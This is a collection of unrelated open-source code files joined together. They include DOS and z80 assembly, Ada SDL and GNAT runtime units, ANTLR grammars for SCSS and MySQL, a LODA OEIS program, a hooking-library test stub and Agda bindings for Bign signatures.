; ON ENTRY: BX = Offset of the TSR ID string, NUL terminated. ;
; ;
; ON EXIT: Carry clear: TSR found, AX = handle (0C0H to 0FFH) ;
; Carry set: TSR not found, AX = 0 ;
; ;
; REGS ALTERED: AX ;
; ;
; HISTORY: ;
; ;
;=============================================================================;
CFASTPROC find_tsr
push ds
push es
pusha
mov bp, sp
sub sp, 6 ; Make room for a word and a dword
; Compute the length of the input string
mov [bp-2], ds ; Save a pointer to the input string
mov [bp-4], bx
xor al, al
mov cx, -1
push ds
pop es
mov di, bx
repne scasb
neg cx
dec cx
dec cx
mov [bp-6], cx ; Save the length of the input string
; Check from handle 0C0h to 0FFh
mov ax, 0BF00H ; AH=handle, AL=function 0
next_handle:
add ah, 1 ; Next handle
jc x_find_tsr ; Not found (wrapped past 0FFh)
push ax ; Always destroyed by int 2F
xor cx, cx
mov es, cx ; Clear ES to see if int 2F changes it
int 2fh ; Identify TSR. This may break all regs.
cmp al, -1 ; Is there a TSR with this handle?
pop ax ; Restore handle and function number
jne next_handle ; No such TSR. Try the next handle
mov di, es ; Most TSRs return ID segment in ES
test di, di ; Did ES change?
jnz @F ; Jump if it did
mov es, cx ; But some return it in CX instead
@@:
mov di, bx ; TSR ID offset
lds si, [bp-4] ; Reference string pointer
mov cx, [bp-6] ; Reference string length
cld
repe cmpsb ; Is it the TSR we're looking for?
jne next_handle ; Jump if it's not.
mov al, ah ; Move the handle to AL
xor ah, ah ; Clear AH and carry
x_find_tsr:
mov [bp+14], ax ; Save AX in stack frame
mov sp, bp
popa ; Restore general regs, including new AX
pop es
pop ds
ret
ENDCFASTPROC find_tsr
end
|
src/sdl-events-controllers.ads | Fabien-Chouteau/sdlada | 1 | 24919 | <gh_stars>1-10
--------------------------------------------------------------------------------------------------------------------
-- Copyright (c) 2013-2020, <NAME>
--
-- This software is provided 'as-is', without any express or implied
-- warranty. In no event will the authors be held liable for any damages
-- arising from the use of this software.
--
-- Permission is granted to anyone to use this software for any purpose,
-- including commercial applications, and to alter it and redistribute it
-- freely, subject to the following restrictions:
--
-- 1. The origin of this software must not be misrepresented; you must not
-- claim that you wrote the original software. If you use this software
-- in a product, an acknowledgment in the product documentation would be
-- appreciated but is not required.
--
-- 2. Altered source versions must be plainly marked as such, and must not be
-- misrepresented as being the original software.
--
-- 3. This notice may not be removed or altered from any source
-- distribution.
--------------------------------------------------------------------------------------------------------------------
-- SDL.Events.Controllers
--
-- Game controller specific events.
--------------------------------------------------------------------------------------------------------------------
with SDL.Events.Joysticks;
package SDL.Events.Controllers is
-- Game controller events.
Axis_Motion : constant Event_Types := 16#0000_0650#;
Button_Down : constant Event_Types := Axis_Motion + 1;
Button_Up : constant Event_Types := Axis_Motion + 2;
Device_Added : constant Event_Types := Axis_Motion + 3;
Device_Removed : constant Event_Types := Axis_Motion + 4;
Device_Remapped : constant Event_Types := Axis_Motion + 5;
type Axes is (Invalid,
Left_X,
Left_Y,
Right_X,
Right_Y,
Left_Trigger,
Right_Trigger) with
Convention => C;
for Axes use (Invalid => -1,
Left_X => 0,
Left_Y => 1,
Right_X => 2,
Right_Y => 3,
Left_Trigger => 4,
Right_Trigger => 5);
type Axes_Values is range -32768 .. 32767 with
Convention => C,
Size => 16;
type Axis_Events is
record
Event_Type : Event_Types; -- Will be set to Axis_Motion.
Time_Stamp : Time_Stamps;
Which : SDL.Events.Joysticks.IDs;
Axis : Axes;
Padding_1 : Padding_8;
Padding_2 : Padding_8;
Padding_3 : Padding_8;
Value : Axes_Values;
Padding_4 : Padding_16;
end record with
Convention => C;
type Buttons is (Invalid,
A,
B,
X,
Y,
Back,
Guide,
Start,
Left_Stick,
Right_Stick,
Left_Shoulder,
Right_Shoulder,
Pad_Up, -- Direction pad buttons.
Pad_Down,
Pad_Left,
Pad_Right) with
Convention => C;
for Buttons use (Invalid => -1,
A => 0,
B => 1,
X => 2,
Y => 3,
Back => 4,
Guide => 5,
Start => 6,
Left_Stick => 7,
Right_Stick => 8,
Left_Shoulder => 9,
Right_Shoulder => 10,
Pad_Up => 11,
Pad_Down => 12,
Pad_Left => 13,
Pad_Right => 14);
type Button_Events is
record
Event_Type : Event_Types; -- Will be set to Button_Down or Button_Up.
Time_Stamp : Time_Stamps;
Which : SDL.Events.Joysticks.IDs;
Button : Buttons;
State : Button_State;
Padding_1 : Padding_8;
Padding_2 : Padding_8;
end record with
Convention => C;
type Device_Events is
record
Event_Type : Event_Types; -- Will be set to Device_Added, Device_Removed or Device_Remapped.
Time_Stamp : Time_Stamps;
Which : SDL.Events.Joysticks.IDs;
end record with
Convention => C;
private
for Axis_Events use
record
Event_Type at 0 * SDL.Word range 0 .. 31;
Time_Stamp at 1 * SDL.Word range 0 .. 31;
Which at 2 * SDL.Word range 0 .. 31;
Axis at 3 * SDL.Word range 0 .. 7;
Padding_1 at 3 * SDL.Word range 8 .. 15;
Padding_2 at 3 * SDL.Word range 16 .. 23;
Padding_3 at 3 * SDL.Word range 24 .. 31;
Value at 4 * SDL.Word range 0 .. 15;
Padding_4 at 4 * SDL.Word range 16 .. 31;
end record;
for Button_Events use
record
Event_Type at 0 * SDL.Word range 0 .. 31;
Time_Stamp at 1 * SDL.Word range 0 .. 31;
Which at 2 * SDL.Word range 0 .. 31;
Button at 3 * SDL.Word range 0 .. 7;
State at 3 * SDL.Word range 8 .. 15;
Padding_1 at 3 * SDL.Word range 16 .. 23;
Padding_2 at 3 * SDL.Word range 24 .. 31;
end record;
for Device_Events use
record
Event_Type at 0 * SDL.Word range 0 .. 31;
Time_Stamp at 1 * SDL.Word range 0 .. 31;
Which at 2 * SDL.Word range 0 .. 31;
end record;
end SDL.Events.Controllers;
|
test/clt-cmu-cmd-j.asm | kspalaiologos/asmbf | 67 | 101772 | <reponame>kspalaiologos/asmbf
mov r1, 2
clt r1, 3
cmu r1, 32
cmd r1, 10
add r1, .0
out r1
ceq r1, 0
raw .0
cjz 0
out .! |
libsrc/msx/gen_get_trigger.asm | meesokim/z88dk | 0 | 87846 | ;
; z88dk library: Generic I/O support code for MSX family machines
;
;
; extern bool __FASTCALL__ msx_get_trigger(unsigned char id);
;
; get state of joystick button (trigger) number \a id, true = pressed
;
; $Id: gen_get_trigger.asm,v 1.2 2015/01/19 01:32:57 pauloscustodio Exp $
;
PUBLIC msx_get_trigger
msx_get_trigger:
ld hl,0
ret
|
c2000/C2000Ware_1_00_06_00/libraries/dsp/FPU/c28/source/vector/mpy_SP_RSxRVxRV_2.asm | ramok/Themis_ForHPSDR | 0 | 5901 | ;;#############################################################################
;;! \file source/vector/mpy_SP_RSxRVxRV_2.asm
;;!
;;! \brief C-Callable multiplication of a real scalar, a real vector, and a
;;! real vector
;;! \author <NAME>
;;! \date 07/15/11
;;
;; HISTORY:
;; 07/15/11 - original (D. Alter)
;;
;; DESCRIPTION: C-Callable multiplication of a real scalar, a real vector,
;; and a real vector
;; y[i] = c*w[i]*x[i]
;;
;; FUNCTION:
;; extern void mpy_SP_RSxRVxRV_2(float32 *y, const float32 *w,
;; const float32 *x, const float32 c, const Uint16 N)
;;
;; USAGE: mpy_SP_RSxRVxRV_2(y, w, x, c, N);
;;
;; PARAMETERS: float32 *y = result real array
;; float32 *w = input real array #1
;; float32 *x = input real array #2
;; float32 c = input real scalar
;; Uint16 N = length of w, x and y arrays
;;
;; RETURNS: none
;;
;; BENCHMARK: 3*N + 22 cycles (including the call and return)
;;
;; NOTES:
;; 1) N must be even and at least 4.
;;
;; Group: C2000
;; Target Family: C28x+FPU32
;;
;;#############################################################################
;;$TI Release: C28x Floating Point Unit Library V1.50.00.00 $
;;$Release Date: Oct 18, 2018 $
;;$Copyright: Copyright (C) 2018 Texas Instruments Incorporated -
;; http://www.ti.com/ ALL RIGHTS RESERVED $
;;#############################################################################
.global _mpy_SP_RSxRVxRV_2
.text
_mpy_SP_RSxRVxRV_2:
MOVL XAR6, *-SP[4] ;XAR6 = &x
MOV32 *SP++, R4H ;save R4H on stack
MOV32 *SP++, R5H ;save R5H on stack
MOV32 *SP++, R6H ;save R6H on stack
LSR AL, #1 ;divide N by 2
ADDB AL, #-2 ;subtract 2 from N since RPTB is 'n-1'
;times and last iteration done separately
MOV32 R6H, *XAR5++ ;load first w[i]
MOV32 R2H, *XAR6++ ;load first x[i]
MOV32 R4H, *XAR5++ ;load first w[i+1]
MOV32 R5H, *XAR6++ ;load first x[i+1]
;---Main loop
RPTB end_loop, @AL
MPYF32 R3H, R6H, R2H ;y[i] = w[i]*x[i]
|| MOV32 R6H, *XAR5++ ;load next w[i]
MPYF32 R1H, R4H, R5H ;y[i+1] = w[i+1]*x[i+1]
|| MOV32 R4H, *XAR5++ ;load next w[i+1]
MPYF32 R3H, R3H, R0H ;y[i] = c*w[i]*x[i]
|| MOV32 R2H, *XAR6++ ;load next x[i]
MPYF32 R1H, R1H, R0H ;y[i+1] = c*w[i+1]*x[i+1]
|| MOV32 R5H, *XAR6++ ;load next x[i+1]
MOV32 *XAR4++, R3H ;store y[i]
MOV32 *XAR4++, R1H ;store y[i+1]
end_loop:
;--- Last iteration done separately to avoid possible pointer overrun into
; undefined memory
MPYF32 R3H, R6H, R2H ;y[i] = w[i]*x[i]
|| MOV32 R6H, *--SP ;restore R6H from stack
MPYF32 R1H, R4H, R5H ;y[i+1] = w[i+1]*x[i+1]
|| MOV32 R5H, *--SP ;restore R5H from stack
MPYF32 R3H, R3H, R0H ;y[i] = c*w[i]*x[i]
|| MOV32 R4H, *--SP ;restore R4H from stack
MPYF32 R1H, R1H, R0H ;y[i+1] = c*w[i+1]*x[i+1]
MOV32 *XAR4++, R3H ;store y[i]
MOV32 *XAR4, R1H ;store y[i+1]
;Finish up
LRETR ;return
;end of function _mpy_SP_RSxRVxRV_2()
;*********************************************************************
.end
;;#############################################################################
;; End of File
;;#############################################################################
|
oeis/131/A131491.asm | neoneye/loda-programs | 11 | 1073 | ; A131491: 2*prime(n)!.
; Submitted by <NAME>(s1)
; 4,12,240,10080,79833600,12454041600,711374856192000,243290200817664000,51704033477769953280000,17683523987479403909087232000000,16445677308355845635451125760000000,27527506182452690092631959163161804800000000
seq $0,6005 ; The odd prime numbers together with 1.
mov $2,$0
lpb $0
sub $0,2
add $1,$0
mul $2,$1
lpe
mov $0,$2
mul $0,4
|
tools-src/gnu/gcc/gcc/ada/a-dynpri.adb | enfoTek/tomato.linksys.e2000.nvram-mod | 80 | 30562 | <reponame>enfoTek/tomato.linksys.e2000.nvram-mod
------------------------------------------------------------------------------
-- --
-- GNU ADA RUN-TIME LIBRARY (GNARL) COMPONENTS --
-- --
-- A D A . D Y N A M I C _ P R I O R I T I E S --
-- --
-- B o d y --
-- --
-- $Revision$
-- --
-- Copyright (C) 1991-2001 Florida State University --
-- --
-- GNARL is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNARL is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNARL; see file COPYING. If not, write --
-- to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, --
-- MA 02111-1307, USA. --
-- --
-- As a special exception, if other files instantiate generics from this --
-- unit, or you link this unit with other files to produce an executable, --
-- this unit does not by itself cause the resulting executable to be --
-- covered by the GNU General Public License. This exception does not --
-- however invalidate any other reasons why the executable file might be --
-- covered by the GNU Public License. --
-- --
-- GNARL was developed by the GNARL team at Florida State University. It is --
-- now maintained by Ada Core Technologies Inc. in cooperation with Florida --
-- State University (http://www.gnat.com). --
-- --
------------------------------------------------------------------------------
with Ada.Task_Identification;
-- used for Task_Id
-- Current_Task
-- Null_Task_Id
-- Is_Terminated
with System.Task_Primitives.Operations;
-- used for Write_Lock
-- Unlock
-- Set_Priority
-- Wakeup
-- Self
with System.Tasking;
-- used for Task_ID
with Ada.Exceptions;
-- used for Raise_Exception
with System.Tasking.Initialization;
-- used for Defer/Undefer_Abort
with Unchecked_Conversion;
package body Ada.Dynamic_Priorities is
use System.Tasking;
use Ada.Exceptions;
function Convert_Ids is new
Unchecked_Conversion
(Task_Identification.Task_Id, System.Tasking.Task_ID);
------------------
-- Get_Priority --
------------------
-- Inquire base priority of a task
function Get_Priority
(T : Ada.Task_Identification.Task_Id :=
Ada.Task_Identification.Current_Task)
return System.Any_Priority is
Target : constant Task_ID := Convert_Ids (T);
Error_Message : constant String := "Trying to get the priority of a ";
begin
if Target = Convert_Ids (Ada.Task_Identification.Null_Task_Id) then
Raise_Exception (Program_Error'Identity,
Error_Message & "null task");
end if;
if Task_Identification.Is_Terminated (T) then
Raise_Exception (Tasking_Error'Identity,
Error_Message & "null task");
end if;
return Target.Common.Base_Priority;
end Get_Priority;
------------------
-- Set_Priority --
------------------
-- Change base priority of a task dynamically
procedure Set_Priority
(Priority : System.Any_Priority;
T : Ada.Task_Identification.Task_Id :=
Ada.Task_Identification.Current_Task)
is
Target : constant Task_ID := Convert_Ids (T);
Self_ID : constant Task_ID := System.Task_Primitives.Operations.Self;
Error_Message : constant String := "Trying to set the priority of a ";
begin
if Target = Convert_Ids (Ada.Task_Identification.Null_Task_Id) then
Raise_Exception (Program_Error'Identity,
Error_Message & "null task");
end if;
if Task_Identification.Is_Terminated (T) then
Raise_Exception (Tasking_Error'Identity,
Error_Message & "terminated task");
end if;
System.Tasking.Initialization.Defer_Abort (Self_ID);
System.Task_Primitives.Operations.Write_Lock (Target);
if Self_ID = Target then
Target.Common.Base_Priority := Priority;
System.Task_Primitives.Operations.Set_Priority (Target, Priority);
System.Task_Primitives.Operations.Unlock (Target);
System.Task_Primitives.Operations.Yield;
-- Yield is needed to enforce FIFO task dispatching.
-- LL Set_Priority is made while holding the RTS lock so that
-- it is inheriting high priority until it release all the RTS
-- locks.
-- If this is used in a system where Ceiling Locking is
-- not enforced we may end up getting two Yield effects.
else
Target.New_Base_Priority := Priority;
Target.Pending_Priority_Change := True;
Target.Pending_Action := True;
System.Task_Primitives.Operations.Wakeup
(Target, Target.Common.State);
-- If the task is suspended, wake it up to perform the change.
-- check for ceiling violations ???
System.Task_Primitives.Operations.Unlock (Target);
end if;
System.Tasking.Initialization.Undefer_Abort (Self_ID);
end Set_Priority;
end Ada.Dynamic_Priorities;
|
libsrc/_DEVELOPMENT/math/float/math16/z80/asm_f16_inf.asm | Frodevan/z88dk | 640 | 91688 | ;
; Copyright (c) 2020 <NAME>
;
; This Source Code Form is subject to the terms of the Mozilla Public
; License, v. 2.0. If a copy of the MPL was not distributed with this
; file, You can obtain one at http://mozilla.org/MPL/2.0/.
;
; feilipu, 2020 May
;
;-------------------------------------------------------------------------
; asm_f16_inf - z80 half floating point signed infinity
;-------------------------------------------------------------------------
;
; unpacked format: exponent in d, sign in e[7], mantissa in hl
; return normalized result also in unpacked format
;
; return half float in hl
;
;-------------------------------------------------------------------------
SECTION code_fp_math16
PUBLIC asm_f24_inf
PUBLIC asm_f16_inf
.asm_f24_inf
ld a,e ; called from expanded format, sign in e
and 080h ; preserve sign
ld e,a
xor a
ld h,a ; clear mantissa
ld l,a
dec a
ld d,a ; load 0xFF exponent
ret
.asm_f16_inf
ld a,e ; called from expanded format, sign in e
and 080h ; preserve sign
or 07Ch ; set infinity exponent
ld h,a ; set sign, exponent
ld l,0
ret
|
data/phone/text/jack_overworld.asm | Dev727/ancientplatinum | 28 | 84411 | JackAskNumber1Text:
text "Your knowledge is"
line "impressive!"
para "I like that!"
para "Want to trade"
line "battle tips?"
para "I'll phone if I"
line "get good info."
para "Would you tell me"
line "your number?"
done
JackAskNumber2Text:
text "Want to trade"
line "battle tips?"
para "I'll phone if I"
line "get good info."
para "Would you tell me"
line "your number?"
done
JackNumberAcceptedText:
text "I'll call you if I"
line "hear anything!"
done
JackNumberDeclinedText:
text "Oh, OK. Too bad…"
para "Well, if you ever"
line "want my number,"
cont "come see me, OK?"
done
JackPhoneFullText:
text "Oh?"
line "Your phone's full."
para "It can't register"
line "my number."
done
JackRematchText:
text "Hi, I was waiting"
line "for you to show!"
para "Let's get started"
line "right away!"
done
|
Source/Test/Case/HookSetFail/MixedPadding.asm | samuelgr/Hookshot | 4 | 164515 | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Hookshot
; General-purpose library for injecting DLLs and hooking function calls.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Authored by <NAME>
; Copyright (c) 2019-2021
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
INCLUDE TestDefinitions.inc
; Tests Hookshot with a single-byte function.
; Because this function consists of only a single byte, it is too short for Hookshot to hook successfully.
; Some potential padding instructions of different types are appended, making it not obvious that these are padding bytes.
_TEXT SEGMENT
BEGIN_HOOKSHOT_TEST_FUNCTION MixedPadding_Test
ret
REPEAT 8
nop
int 3
ENDM
END_HOOKSHOT_TEST_FUNCTION MixedPadding_Test
_TEXT ENDS
END
|
oeis/004/A004699.asm | neoneye/loda-programs | 11 | 14391 | ; A004699: a(n) = floor(Fibonacci(n)/6).
; 0,0,0,0,0,0,1,2,3,5,9,14,24,38,62,101,164,266,430,696,1127,1824,2951,4776,7728,12504,20232,32736,52968,85704,138673,224378,363051,587429,950481,1537910,2488392,4026302,6514694,10540997,17055692,27596690,44652382,72249072,116901455,189150528,306051983,495202512,801254496,1296457008,2097711504,3394168512,5491880016,8886048528,14377928545,23263977074,37641905619,60905882693,98547788313,159453671006,258001459320,417455130326,675456589646,1092911719973,1768368309620,2861280029594,4629648339214
seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1.
div $0,6
|
commons-jsymbol/src/main/java/io/onedev/commons/jsymbol/scss/ScssParser.g4 | mhoffrog/onedev-commons | 1 | 1277 | /*
[The "BSD licence"]
Copyright (c) 2014 <NAME>
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. The name of the author may not be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
parser grammar ScssParser;
options { tokenVocab=ScssLexer; }
stylesheet
: statement*
;
statement
: importDeclaration
| extendDeclaration
| nested
| ruleset
| mixinDeclaration
| functionDeclaration
| variableDeclaration
| includeDeclaration
| ifDeclaration
| forDeclaration
| whileDeclaration
| eachDeclaration
| functionReturn
| ERROR expression ';'?
| WARN expression ';'?
| DEBUG expression ';'?
| CHARSET expression ';'?
| NAMESPACE expression ';'?
| AT_CONTENT ';'?
;
//Params to mixins, includes, etc
params
: param (COMMA param)* Ellipsis?
;
param
: variableName paramOptionalValue?
;
variableName
: DOLLAR Identifier
;
paramOptionalValue
: COLON expression+
;
//MIXINS
mixinDeclaration
: '@mixin' Identifier (LPAREN params? RPAREN)? block
;
//Includes
includeDeclaration
: INCLUDE Identifier (';' | (LPAREN ignoreInsideParens RPAREN ';'?)? block?)
;
//FUNCTIONS
functionDeclaration
: '@function' Identifier LPAREN params? RPAREN BlockStart functionBody? BlockEnd
;
extendDeclaration
: '@extend' selector OPTIONAL? ';'
;
functionBody
: functionStatement*
;
functionReturn
: '@return' commandStatement ';'
;
functionStatement
: commandStatement ';' | statement
;
commandStatement
: expression+
;
mathCharacter
: TIMES | PLUS | DIV | MINUS | PERC | EQ | EQEQ
;
atIdentifier
: SUPPORTS|PAGE|KEYFRAMES|WEBKET_KEYFRAMES|MOZ_KEYFRAMES|FONTFACE|DOCUMENT|NAMESPACE|CHARSET|MIXIN|
FUNCTION|AT_ELSE|AT_IF|AT_FOR|AT_WHILE|AT_EACH|INCLUDE|IMPORT|RETURN|EXTEND|WARN|DEBUG|ERROR|
MEDIA|AT_ROOT|AT_CONTENT|VIEWPORT
;
expression
: '#' identifier
| '.' identifier
| ':' identifier
| '$' identifier
| '@' identifier
| atIdentifier identifier?
| BACKSLASH identifier
| identifier
| AND
| LPAREN ignoreInsideParens RPAREN
| StringLiteral
| url
| variableName
| functionCall
| expression mathCharacter expression
| identifier (DOT identifier)? PERC
| PLUS expression
| MINUS expression
;
//If statement
ifDeclaration
: AT_IF conditions block elseIfStatement* elseStatement?
;
elseIfStatement
: AT_ELSE Identifier conditions block
;
elseStatement
: AT_ELSE block
;
conditions
: condition (COMBINE_COMPARE conditions)?
| Identifier
| AND
;
condition
: commandStatement (( '==' | LT | GT | '!=' | GTEQ | LTEQ) conditions)?
| '(' ignoreInsideParens ')'
;
variableDeclaration
: variableName COLON values DEFAULT? GLOBAL? ';'
;
//for
forDeclaration
: AT_FOR variableName Identifier expression Identifier expression block
;
//while
whileDeclaration
: AT_WHILE conditions block
;
//EACH
eachDeclaration
: AT_EACH variableName (COMMA variableName)* Identifier eachValueList+ block
;
eachValueList
: Identifier
| COMMA
| variableName
| identifierListOrMap
;
identifierListOrMap
: LPAREN ignoreInsideParens RPAREN
;
identifierValue
: identifier (COLON values)?
;
//Imports
importDeclaration
: '@import' referenceUrl mediaTypes? (COMMA referenceUrl mediaTypes?)* ';'
;
referenceUrl
: StringLiteral
| UrlStart Url UrlEnd
;
mediaTypes
: (Identifier (COMMA Identifier)*)
;
//Nested (stylesheets, etc)
nested
: '@' nest selectors BlockStart stylesheet BlockEnd
;
nest
: (Identifier | '&') Identifier* pseudo*
;
ignoreInsideParens
: (~('('|')') | '(' ignoreInsideParens ')')*
;
ignoreInsideBrackets
: (~('['|']') | '[' ignoreInsideParens ']')*
;
ignoreInsideBraces
: (~('{'|'}') | '{' ignoreInsideBraces '}')*
;
//Rules
ruleset
: selectors COLON? block
;
block
: BlockStart (property ';' | statement)* property? BlockEnd
;
selectors
: directive | selector (COMMA selector)*
;
directive
: (DOCUMENT | SUPPORTS | MEDIA | PAGE | FONTFACE | KEYFRAMES | MOZ_KEYFRAMES | WEBKET_KEYFRAMES | VIEWPORT)
(COLON|Identifier|COMMA|LPAREN ignoreInsideParens RPAREN|url)*
;
selector
: COLON? element (selectorPrefix? element)*
;
selectorPrefix
: (GT | PLUS | TIL)
;
element
: ((identifier | HASH identifier | DOT identifier | PERC identifier | identifier PERC | '&' | '*' | '>' | '+' | '~' | AT_ROOT) attrib* pseudo*) | (attrib+ pseudo*) | pseudo+
;
pseudo
: (COLON|COLONCOLON) Identifier
| (COLON|COLONCOLON) functionCall
;
attrib
: '[' ignoreInsideBrackets ']'
;
attribRelate
: '='
| '~='
| '|='
;
identifier
: Identifier
;
property
: (TIMES|DOT|PLUS)? identifier COLON values IMPORTANT?
;
values
: commandStatement (COMMA commandStatement)*
;
url
: UrlStart Url UrlEnd
;
functionCall
: Identifier LPAREN ignoreInsideParens RPAREN
;
|
sharding-core/sharding-core-parse/sharding-core-parse-mysql/src/main/antlr4/imports/mysql/MySQLBase.g4 | LinXinHun/incubator-shardingsphere | 1 | 4554 | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
grammar MySQLBase;
import Symbol, MySQLKeyword, Keyword, DataType, BaseRule;
alias
: uid | STRING_
;
tableName
: (schemaName DOT_)? uid | uid DOT_ASTERISK_ | ASTERISK_
;
assignmentValueList
: LP_ assignmentValues RP_
;
assignmentValues
: assignmentValue (COMMA_ assignmentValue)*
;
assignmentValue
: DEFAULT | MAXVALUE | expr
;
functionCall
: functionName LP_ distinct? (exprs | ASTERISK_)? RP_ | specialFunction
;
specialFunction
: groupConcat | windowFunction | castFunction | convertFunction | positionFunction | substringFunction | extractFunction | charFunction | trimFunction | weightStringFunction
;
functionName
: uid | IF | CURRENT_TIMESTAMP | LOCALTIME | LOCALTIMESTAMP | NOW | REPLACE | CAST | CONVERT | POSITION | CHARSET | CHAR | TRIM | WEIGHT_STRING
;
groupConcat
: GROUP_CONCAT LP_ distinct? (exprs | ASTERISK_)? (orderByClause (SEPARATOR expr)?)? RP_
;
castFunction
: CAST LP_ expr AS dataType RP_
;
convertFunction
: CONVERT LP_ expr ',' dataType RP_
| CONVERT LP_ expr USING ignoredIdentifier_ RP_
;
positionFunction
: POSITION LP_ expr IN expr RP_
;
substringFunction
: (SUBSTRING | SUBSTR) LP_ expr FROM NUMBER_ (FOR NUMBER_)? RP_
;
extractFunction
: EXTRACT LP_ uid FROM expr RP_
;
charFunction
: CHAR LP_ exprs (USING ignoredIdentifier_)? RP_
;
trimFunction
: TRIM LP_ (LEADING | BOTH | TRAILING) STRING_ FROM STRING_ RP_
;
weightStringFunction
: WEIGHT_STRING LP_ expr (AS dataType)? levelClause? RP_
;
levelClause
: LEVEL (levelInWeightListElements | (NUMBER_ MINUS_ NUMBER_))
;
levelInWeightListElements
: levelInWeightListElement (COMMA_ levelInWeightListElement)*
;
levelInWeightListElement
: NUMBER_ (ASC | DESC)? REVERSE?
;
windowFunction
: uid exprList overClause
;
overClause
: OVER LP_ windowSpec RP_ | OVER uid
;
windowSpec
: uid? windowPartitionClause? orderByClause? frameClause?
;
windowPartitionClause
: PARTITION BY exprs
;
frameClause
: frameUnits frameExtent
;
frameUnits
: ROWS | RANGE
;
frameExtent
: frameStart | frameBetween
;
frameStart
: CURRENT ROW
| UNBOUNDED PRECEDING
| UNBOUNDED FOLLOWING
| expr PRECEDING
| expr FOLLOWING
;
frameBetween
: BETWEEN frameStart AND frameEnd
;
frameEnd
: frameStart
;
variable
: (AT_ AT_)? (GLOBAL | PERSIST | PERSIST_ONLY | SESSION)? DOT_? uid
;
assignmentList
: assignment (COMMA_ assignment)*
;
assignment
: columnName EQ_ assignmentValue
;
tableReferences
: matchNone
;
whereClause
: WHERE expr
;
dataType
: dataTypeName_ dataTypeLength? characterSet_? collateClause_? UNSIGNED? ZEROFILL? | dataTypeName_ LP_ STRING_ (COMMA_ STRING_)* RP_ characterSet_? collateClause_?
;
dataTypeName_
: uid uid?
;
characterSet_
: (CHARACTER | CHAR) SET EQ_? ignoredIdentifier_ | CHARSET EQ_? ignoredIdentifier_
;
collateClause_
: COLLATE EQ_? (STRING_ | ignoredIdentifier_)
; |
src/Bee2/Crypto/Bign.agda | semenov-vladyslav/bee2-agda | 0 | 16059 | module Bee2.Crypto.Bign where
open import Data.ByteString
open import Data.ByteVec
open import Data.Bool using (Bool)
open import Data.Nat using (ℕ)
open import Data.Product using (_,_)
open import Agda.Builtin.TrustMe using (primTrustMe)
import Bee2.Crypto.Defs
open Bee2.Crypto.Defs
open Bee2.Crypto.Defs using (Hash) public
{-# FOREIGN GHC import qualified Bee2.Crypto.Bign #-}
{-# FOREIGN GHC import qualified Data.ByteString #-}
postulate
-- bignstd128-pri [32] → belt-hash [32] → bign-sig [48]
primBignSign2 : ByteString Strict → ByteString Strict → ByteString Strict
-- bignstd128-pri [32] → bignstd128-pub [64]
primBignCalcPubkey : ByteString Strict → ByteString Strict
-- bignstd128-pub [64] → belt-hash [32] → bign-sig [48] → Bool
primBignVerify : ByteString Strict → ByteString Strict → ByteString Strict → Bool
{-# COMPILE GHC primBignSign2 =
( \pri hash -> Bee2.Crypto.Bign.bignSign2'bs 128 pri Bee2.Crypto.Belt.hbelt_oid hash ) #-}
{-# COMPILE GHC primBignCalcPubkey =
( \pri -> Bee2.Crypto.Bign.bignCalcPubkey'bs 128 pri ) #-}
{-# COMPILE GHC primBignVerify =
( \pub hash sig -> Bee2.Crypto.Bign.bignVerify'bs 128 pub Bee2.Crypto.Belt.hbelt_oid hash sig ) #-}
Pri = ByteVec {Strict} 32
Pub = ByteVec {Strict} 64 -- TODO: add IsValid
Sig = ByteVec {Strict} 48
bignSign2 : Pri → Hash → Sig
bignSign2 (pri , _) (hash , _) = primBignSign2 pri hash , primTrustMe
bignCalcPubkey : Pri → Pub
bignCalcPubkey (pri , _) = primBignCalcPubkey pri , primTrustMe
bignVerify : Pub → Hash → Sig → Bool
bignVerify (pub , _) (hash , _) (sig , _) = primBignVerify pub hash sig
|
